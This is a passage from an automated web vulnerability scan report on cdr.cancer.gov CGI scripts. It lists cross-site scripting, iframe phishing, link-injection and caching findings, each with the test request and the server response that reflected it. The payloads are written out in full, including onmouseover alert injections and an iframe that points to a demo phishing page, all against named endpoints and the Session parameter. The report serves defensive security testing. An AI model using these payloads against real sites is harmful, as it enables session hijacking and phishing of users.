**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'None%27%22%3E%3Ciframe+id%3D785+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CitationReports.py? Session=None%27%22%3E%3Ciframe+id%3D785+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:52:33 GMT
Connection: close
Content-Length: 3125

...
equest' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Citation Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=785 src= http://demo.testfire.net/phishing.html > >'>
<H3>QC Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=None'"> <iframe id=785 src =http://demo.testfire.net/phishing.htm l> >'>Citation QC Report</LI></A>
</OL>
<H3>Other Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session=None'"> <iframe id=785 sr c=http://demo.testfire.net/phi shing.ht ml> >'>Unverified Citations</LI></A>
</OL>
<H3>Management Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CitationsAddedToProtocols.py?Session=None'"> <iframe id=785 s rc=http://demo.testf ire.net/ph ishing.h tml> >'>Citations Added to Protocols</LI></A>
<LI><A HREF='/cgi-bin/cdr/CitationsInSummaries.py?Session=None'"> <iframe id=785 src=http://demo.testfire.net/phish ing. html> >'>Citations Linked to Summaries</LI></A>
<LI><A HREF='/cgi-bin/cdr/ModifiedPubMedDocs.py?Session=None'"> <iframe id=785 src=http://demo.testfire.net/phishing .html> >'>Modified PubMed Documents</LI></A>
<LI><A HREF='/cgi-bin/cdr/NewCitations.py?Session=None'"> <iframe id=78 5 src=http://demo.testfire.net/phishin g.html> >'>New Citations Report</LI></A>
</OL></FORM></BODY></HTML>
...
equest' VALUE='Log Out'> 
</TD>
</TR>
```

```
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Citation Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=785 src= http://demo.testfire.net/phishing.html > >'>
<H3>QC Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=None'"> <iframe id=785 src =http://demo.testfire.net/phishing.htm l> >'>Citation QC Report</LI></A>
</OL>
<H3>Other Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session=None'"> <iframe id=785 sr c=http://demo.testfire.net/phi shing.ht ml> >'>Unverified Citations</LI></A>
</OL>
<H3>Management Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CitationsAddedToProtocols.py?Session=None'"> <iframe id=785 s rc=http://demo.testf ire.net/ph ishing.h tml> >'>Citations Added to Protocols</LI></A>
<LI><A HREF='/cgi-bin/cdr/CitationsInSummaries.py?Session=None'"> <iframe id=785 src=http://demo.testfire.net/phish ing. html> >'>Citations Linked to Summaries</LI></A>
<LI><A HREF='/cgi-bin/cdr/ModifiedPubMedDocs.py?Session=None'"> <iframe id=785 src=http://demo.testfire.net/phishing .html> >'>Modified PubMed Documents</LI></A>
<LI><A HREF='/cgi-bin/cdr/NewCitations.py?Session=None'"> <iframe id=78 5
src=http://demo.testfire.net/phishin g.html> >'>New Citations Report</LI></A>
</OL></FORM></BODY></HTML>
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448130 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF786.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CitationReports.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF786.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:52:33 GMT
Connection: close
Content-Length: 2887

...
E='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Citation Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF786.html"> '>
<H3>QC Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session="'> <IMG SRC="/WF_XSRF786.html"> '>Citation QC
Report</LI></A>
</OL>
<H3>Other Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session="'> <IMG SRC="/WF_XSRF786.html">
'>Unverified Citations</LI></A>
</OL>
<H3>Management Reports</H3>
<OL>
<LI><A HREF='/cgi-bin/cdr/CitationsAddedToProtocols.py?Session="'> <IMG SRC="/WF_XSRF786.html">
'>Citations Added to Protocols</LI></A>
<LI><A HREF='/cgi-bin/cdr/CitationsInSummaries.py?Session="'> <IMG SRC="/WF_XSRF786.html">
'>Citations Linked to Summaries</LI></A>
<LI><A HREF='/cgi-bin/cdr/ModifiedPubMedDocs.py?Session="'> <IMG SRC="/WF_XSRF786.html">
'>Modified PubMed Documents</LI></A>
<LI><A HREF='/cgi-bin/cdr/NewCitations.py?Session="'> <IMG SRC="/WF_XSRF786.html"> '>New Citations
Report</LI></A>
</OL></FORM></BODY></HTML>
...
E='Request' VALUE='Log Out'> 
</TD>
</TR>
```

```
        <TR>
        <TD BGCOLOR='#FFFFCC' COLSPAN='3'>
        <span style='color: navy; font-size: small;'> Citation Reports<BR></span>
        </TD>
        </TR>
        </TABLE>
        <BR>
        <BR>
        <INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF786.html"> '>
        <H3>QC Reports</H3>
        <OL>
        <LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session="'> <IMG SRC="/WF_XSRF786.html"> '>Citation QC
        Report</LI></A>
        </OL>
        <H3>Other Reports</H3>
        <OL>
        <LI><A HREF='/cgi-bin/cdr/UnverifiedCitations.py?Session="'> <IMG SRC="/WF_XSRF786.html">
        '>Unverified Citations</LI></A>
        </OL>
        <H3>Management Reports</H3>
        <OL>
        <LI><A HREF='/cgi-bin/cdr/CitationsAddedToProtocols.py?Session="'> <IMG SRC="/WF_XSRF786.html">
        '>Citations Added to Protocols</LI></A>
        <LI><A HREF='/cgi-bin/cdr/CitationsInSummaries.py?Session="'> <IMG SRC="/WF_XSRF786.html">
        '>Citations Linked to Summaries</LI></A>
        <LI><A HREF='/cgi-bin/cdr/ModifiedPubMedDocs.py?Session="'> <IMG SRC="/WF_XSRF786.html">
        '>Modified PubMed Documents</LI></A>
        <LI><A HREF='/cgi-bin/cdr/NewCitations.py?Session="'> <IMG SRC="/WF_XSRF786.html"> '>New Citations
        Report</LI></A>
        </OL></FORM></BODY></HTML>
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448237 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CitationReports.py'
- Set query string to 'Session=None'
```

**Reasoning:**

The application has responded with a response that indicates the page should be cached, but not ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or "Cache-Control: no-cache").

**Request/Response:**

```
GET /cgi-bin/cdr/CitationReports.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:07 GMT
Connection: close
Content-Length: 2698

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448265 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CitationReports.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/Reports.py
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:48 GMT
Connection: close
Content-Length: 2698

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448168 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2829%29%22'

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/CountrySearch.py? Session=guest%22onmouseover%3D%22alert%2829%29%22 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:25:35 GMT
Connection: close
Content-Length: 3032

...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(29)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(29)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
```

```
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448043 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D351+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/CountrySearch.py? Session=guest%27%22%3E%3Ciframe+id%3D351+src%3Dhttp%3A%2F%2Fdem
o.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:24:54 GMT
Connection: close
Content-Length: 3069


...
066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=351 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=351 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
```

## Issue 3 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448252 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF352.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/CountrySearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF352.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:24:54 GMT
Connection: close
Content-Length: 3034


...
#000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF352.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>


...
...
#000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/CountrySearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF352.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
```

```
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448065 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/CountrySearch.py?Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:26:05 GMT
Connection: close
Content-Length: 3008

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Country Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #000066
...
```

## Issue 5 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448276 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/CountrySearch.py'
- Set query string to 'Session=guest'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/CountrySearch.py ? Session=guest HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:42:40 GMT
Connection: close
Content-Length: 3008

<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML//EN'>
<HTML>
<HEAD>
<TITLE>Country Search Form</TITLE>
<META HTTP-EQUIV = "Content-Type"
CONTENT = "text/html; charset=iso-8859-1">
<STYLE TYPE = "text/css">
<!--
*.header { font-family: Arial, Helvietica, sans-serif;
font-size: x-large;
white-space: nowrap;
color: #000066 }
*.subhdr { font-family: Arial, Helvietica, sans-serif;
font-size: large;
white-space: nowrap;
color: #000066
...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py - 5 issue(s)

### Issue 1 of 5

## [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448305 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%22onmouseover%3D%22alert%2831%29%22'

**Reasoning:**

**Request/Response:**

```
GET /cgi-bin/cdr/DISSearch.py? Session=guest%22onmouseover%3D%22alert%2831%29%22 HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:26:48 GMT
Connection: close
Content-Length: 13111

...
r: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(31)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>

...
...
r: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest "onmouseover="alert(31)" ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
```

```
        <TD HEIGHT = "26"
        COLSPAN = "2"
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448126 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF383.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/DISSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF383.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:25:43 GMT
Connection: close
Content-Length: 13113


...
lor: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF383.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Search
</TD>


...
...
lor: #000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = ""'> <IMG SRC="/WF_XSRF383.html"> ">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
```

```
        class = "header">CDR Advanced Search
        </TD>

        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448149 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
Set the value of the parameter 'Session' to
'guest%27%22%3E%3Ciframe+id%3D382+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because the test response contained a
frame/iframe to URL "http://demo.testfire.net/phishing.html".
```

**Request/Response:**

```
GET /cgi-bin/cdr/DISSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D382+src%3Dhttp%3A%2F%2Fdemo.te
stfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:25:42 GMT
Connection: close
Content-Length: 13148


...
#000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=382 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
...
#000066 }
-->
</STYLE>
</HEAD>
<BODY BGCOLOR = "#CCCCFF">
<FORM METHOD = "GET"
ACTION = "/cgi-bin/cdr/DISSearch.py">
<INPUT TYPE = "hidden"
NAME = "Session"
VALUE = "guest'"> <iframe id=382 src= http://demo.testfire.net/phishing.html > >">
<TABLE WIDTH = "100%"
BORDER = "0"
CELLSPACING = "0">
<TR BGCOLOR = "#6699FF">
<TD HEIGHT = "26"
COLSPAN = "2"
class = "header">CDR Advanced Se
...
```

## Issue 4 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448189 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
